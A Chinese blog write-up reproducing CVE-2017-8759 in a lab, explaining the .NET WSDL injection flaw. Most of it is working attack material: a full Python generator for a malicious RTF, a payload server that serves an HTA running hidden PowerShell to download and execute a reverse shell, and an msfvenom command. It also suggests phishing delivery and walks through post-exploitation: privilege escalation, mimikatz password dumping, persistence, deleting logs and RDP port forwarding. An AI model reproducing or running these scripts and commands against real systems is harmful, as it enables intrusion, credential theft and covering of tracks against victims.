文章目录
  1. 1. 简介
    1. 1.1. 影响版本
  2. 2. 环境说明
  3. 3. 攻击原理
    1. 3.1. 漏洞产生原因
  4. 4. 复现过程
  5. 5. 后续渗透
    1. 5.1. 提升权限:
    2. 5.2. 权限维持:
    3. 5.3. 清除痕迹:
    4. 5.4. 端口转发及远程连接:
  6. 6. 其他

#

参考:!bhdresh

简介

CVE-2017-8759是一个新型的Office文档高级威胁攻击漏洞,该漏洞允许恶意人士在解析SOAP WSDL的定义内容期间注入任意代码。FireEye公司对该微软Office文档进行了分析,并发现攻击者能够利用代码注入方式下载并执行一份包含PowerShell指令的Visual Basic脚本。黑客在Offcie文档中嵌入新的Moniker对象,利用的是.net库漏洞,在Office文档中加载执行远程的恶意.NET代码。

影响版本

影响到几乎所有旧版本的 .NET Framework。包括:

Microsoft .NET Framework 2.0 SP2

Microsoft .NET Framework 3.5

Microsoft .NET Framework 3.5.1

Microsoft .NET Framework 4.5.2

Microsoft .NET Framework 4.6

Microsoft .NET Framework 4.6.1

Microsoft .NET Framework 4.6.2

Microsoft .NET Framework 4.7

环境说明

虚拟机:VMware Fusion

攻击机操作系统:kali

攻击机ip:172.16.73.142

靶机操作系统:windows7 professional x86

靶机ip:172.16.73.140

渗透工具:metasploit,mimikatz,msfvenom

攻击原理

漏洞的整个攻击过程如下:

1) 打开RTF文档(Word)

2) RTF文档自动请求恶意SOAP Wsdl XML文档

3) .NET Framework解析Wsdl XML为C#代码

4) csc.exe将C#代码编译为dll

5) Word加载dll执行恶意代码

漏洞主要问题出现在 .NET Framework解析上,将远程的xml格式文件编译成c#执行的时候,解析模块中IsValidUrl函数没有正确处理XML中含有换行符的情况,导致调用者函数PrintClientProxy存在代码注入漏洞。

漏洞产生原因

函数PrintClientProxy在处理含有多个location的情况时,会将第一个location保留,其余的全部注释掉(图2红框部分)。然而,注释的处理代码没有考虑location中含有换行符的情况,导致换行符后的代码会被编译成可执行的C#代码。

打开生成的rtf文件请求的恶意soap wsdl xml文件如下:

19

这里第一次调用IsValidUrl,传入参数location。

下面的<soap:address location=”:

第二次调用IsValidUrl,传入参数是第二个location,第二个location带有换行符。System.Diagnostics.Process.Start方法会被注入。

生成的代码会被.NET框架的csc.exe编译,然后作为DLL加载到Office可执行程序中。之后编译出的C#代码,刚好注入了恶意代码生成了一个dll文件,

20

word加载编译后的dll。

用ultraedit打开该dll文件。在其中发现:

调用了System.Diagnostics.Process.Start函数,启动mshta.exe去执行远程恶意代码cmd.hta,

21

恶意的cmd.hta脚本嵌入在一个db后缀的二进制流文件中,在其中写入了shell。

复现过程

通过ifconfig查看攻击机ip。

1

通过python脚本生成恶意的rtf文件.

root@kali:~# python create.py -w test.rtf -u http://172.16.73.142/logo.txt

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python
#coding:utf-8



import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo

def main(argv):

    global filename
    global docuri
    filename = ''
    docuri = ''
    #通过opt处理命令行参数输入

    opts, args = getopt.getopt(argv, "w:u",
                               ["filename=", "docuri="])
    for opt, arg in opts:


        if opt in ("-w", "--filename"):
            filename = arg
        elif opt in ("-u", "--docuri"):
            docuri = arg
    generate_exploit_rtf()
    sys.exit()

def generate_exploit_rtf():

    s=docuri
    docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s) #docuri_hex通过读取攻击机ip,转为hex格式的地址。将内嵌一个连接到攻击地址的连接去下载执行shell。
    docuri_pad_len = 714 - len(docuri_hex)
    #填充
    docuri_pad = "0" * docuri_pad_len
    #生成的rtf文档内容,会自动请求恶意soap wsdl xml文档。
    payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
    payload += "{\\info\n"
    payload += "{\\author }\n"
    payload += "{\\operator }\n"
    payload += "}\n"
    payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
    payload += "{\n"
    payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
    payload += "{\\*\\objclass Word.Document.8}\n"
    payload += "{\\*\\objdata 010500000200000008000000e2bae4e53e2231000000000000000000000a0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff010000000003000000000000c000000000000046000000000000000000000000f02c1951c8e5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d8010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000020000000300000004000000050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100000209000000010000000000000000000000000000008c010000c7b0abec197fd211978e0000f8757e2a00000000700100007700730064006c003d00" + docuri_hex + docuri_pad + "00ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}\n"
    payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
    payload += "{\\*\\datastore }\n"
    payload += "}\n"
    f = open(filename, 'w')
    f.write(payload)
    f.close()
    print "Generated " + filename + " successfully"

if  __name__== '__main__':
    print("let's start cve-2017-8759,to create a malicious rtf file")
    main(sys.argv[1:])

利用msfvenom生成一个反弹shell的exe文件,并命名为shell.exe。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.73.142
LPORT=4444 -f exe > /tmp/shell.exe

3

将恶意rtf文件通过邮件钓鱼等手段发送到受害者主机。

再通过脚本listen.py攻击机监听来自文件执行之后反弹的shell。

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python
#coding:utf-8



import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo

BACKLOG = 50            
MAX_DATA_RECV = 999999  
DEBUG = True

def main(argv):
    global port
    global host
    global payloadurl
    global payloadlocation
    global custom
    global obfuscate
    global payloadtype

    payloadurl = ''
    payloadlocation = ''
    custom = ''
    port = int("80")
    host = ''
    mode = ''
    obfuscate = int("0")
    payloadtype = 'rtf'



    opts, args = getopt.getopt(argv, "e:l",
                               ["payloadurl=","payloadlocation="])
    for opt, arg in opts:
        if opt in ("-e", "--payloadurl"):
            payloadurl = arg
        elif opt in ("-l", "--payloadlocation"):
            payloadlocation = arg
        elif opt in ("-p", "--port"):
            port = int(arg)

    exploitation_rtf()
    sys.exit()


def exploitation_rtf():
    print "Server Running on ", host, ":", port

    try:
        # 创建socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # 连接套接字
        s.bind((host, port))

        # 监听
        s.listen(BACKLOG)

    except socket.error, (value, message):
        if s:
            s.close()
        print "Could not open socket:", message
        sys.exit(1)

    # 从客户端取得连接
    while 1:
        conn, client_addr = s.accept()

        # 创建线程处理request
        thread.start_new_thread(server_thread, (conn, client_addr))

    s.close()


def server_thread(conn, client_addr):
   
    try:
        request = conn.recv(MAX_DATA_RECV)
        if (len(request) > 0):
           
            first_line = request.split('\n')[0]

        
            method = first_line.split(' ')[0]
            try:
                url = first_line.split(' ')[1]
            except IndexError:
                print "Invalid request from " + client_addr[0]
                conn.close()
                sys.exit(1)
#根据rtf文件请求的soap xsdl xml文件里的地址选择。详情在攻击原理。
            if ".exe" in url:
                print "Received request for payload from " + client_addr[0]
                try:
                    size = os.path.getsize(payloadlocation)
                except OSError:
                    print "Unable to read " + payloadlocation
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: " + str(
                    size) + "\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
                with open(payloadlocation) as fin:
                    data += fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
                    
            if ".hta" in url:
                print "Received GET method from " + client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'" + payloadurl + "\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
                conn.send(data)
                conn.close()
            if ".txt" in url:
                print "Received GET method from " + client_addr[0]
                data = 'HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 2000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/plain\r\n\r\n<definitions\n    xmlns="http://schemas.xmlsoap.org/wsdl/"\n    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"\n    xmlns:suds="http://www.w3.org/2000/wsdl/suds"\n    xmlns:tns="http://schemas.microsoft.com/clr/ns/System"\n     xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">\n    <portType name="PortType"/>\n    <binding name="Binding" type="tns:PortType">\n        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>\n        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>\n      </binding>\n      <service name="Service">\n        <port name="Port" binding="tns:Binding">\n            <soap:address location="' + \
                       payloadurl.split(':')[0] + "://" + payloadurl.split('/')[2] + '?C:\Windows\System32\mshta.exe?' + \
                       payloadurl.split(':')[0] + "://" + payloadurl.split('/')[
                           2] + '/cmd.hta"/>\n                        <soap:address location=";\n                        if (System.AppDomain.CurrentDomain.GetData(_url.Split(\'?\')[0]) == null) {\n                                System.Diagnostics.Process.Start(_url.Split(\'?\')[1], _url.Split(\'?\')[2]);\n                                System.AppDomain.CurrentDomain.SetData(_url.Split(\'?\')[0], true);\n                        } //"/>\n        </port>\n    </service>\n</definitions>\n'
                conn.send(data)
                conn.close()
                sys.exit(1)
    except socket.error, ex:
        print ex


if __name__ == '__main__':

    main(sys.argv[1:])

5

此时恶意的cmd.hta脚本向受害机的windows/temp/中写入了/tmp/shell.exe并执行。

后续渗透

sd

拿起metasploit就是一把梭(hhhhhhhhhh不是

msfconsole -x “use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.73.153; run”

打开msf的 multi/handler模块,设置payload方式为reverse_tcp,端口号为172.16.73.153,run开启exploit执行。

在这里插入图片描述

可以看到,msf已经接收到来自靶机监听端口的回返信息。

进入shell。

查看用户基本信息:systeminfo

7

可见是x86系统的。

提升权限:

向用户上传mimikatz的文件,用于抓取用户密码。

【因为msf自带的mimikatz不知道什么神秘原因,根本用不了= =所以用upload命令上传网上的mimikatz】

8

提升系统权限:

通过ms16那个漏洞来提权。

msf中可以search到ms16的利用模块。直接打过去。
9

成功后,返回之前的session中。通过ps命令查看当前受害机中进程。

10

ms16漏洞利用,pid3396为新增的进程,通过migrate转过去。

11

然后使用mimikatz抓取密码。

【12】

用户名sancrane密码123456

权限维持:

run persistence -U -i 10 -p 4444 -r 172.16.73.153

【13】

注销一次。Session关闭。监听模式继续打开,然后再启动。

【14】

不用打开恶意程序。直接拿到shell。

清除痕迹:

Del删除上传的文件。

【15】

清除本地日志。

del %WINDIR%*.log /a/s/q/f

【16】

端口转发及远程连接:

portwd add –l 4444 –r 127.0.0.1 –p 3389

添加一个端口映射,将远程主机的3389端口映射到本地的4444端口。

【17】

成功后,在攻击机上终端中输入

root@kali:~# rdesktop 127.0.0.1:4444

就会弹出受害机的登陆界面。

【18】

利用之前获得的用户名密码可以登入啦。

其他

由于 .NET Framework安装非常广泛,而该漏洞影响到几乎所有旧版本的 .NET Framework。

修补方法为及时打补丁,以及不要打开来源未知的office文档(包括.rtf,.doc,.ppsx…)。
其实这个去年就写了,但是因为图太多一直懒得整理2333333。感觉自己写的有点啰嗦了。算是内网渗透学习的一个比较经典的漏洞吧。

文章目录
  1. 1. 简介
    1. 1.1. 影响版本
  2. 2. 环境说明
  3. 3. 攻击原理
    1. 3.1. 漏洞产生原因
  4. 4. 复现过程
  5. 5. 后续渗透
    1. 5.1. 提升权限:
    2. 5.2. 权限维持:
    3. 5.3. 清除痕迹:
    4. 5.4. 端口转发及远程连接:
  6. 6. 其他